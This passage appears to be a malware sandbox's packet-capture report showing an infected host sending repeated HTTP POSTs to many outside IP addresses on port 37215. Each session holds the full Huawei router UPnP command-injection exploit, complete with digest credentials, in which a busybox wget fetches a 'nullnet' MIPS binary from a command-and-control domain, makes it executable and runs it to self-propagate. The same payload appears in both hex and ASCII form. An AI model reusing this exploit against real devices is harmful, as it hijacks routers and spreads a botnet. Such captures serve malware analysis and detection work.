/tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	53364	41.186.69.216	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473932028 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	55280	156.250.107.247	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473962069 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	36222	197.19.105.218	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473984957 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	57694	41.53.247.62	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474014044 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	59604	41.233.241.218	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474042892 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	42180	197.36.137.218	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474069118 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	33076	41.20.17.178	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474104881 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	57102	41.192.83.152	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474117041 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	48092	197.105.148.66	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474143028 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	60342	41.217.153.137	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474164963 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	51558	197.146.115.42	37215

Timestamp	Bytes transferred	Direction	Data
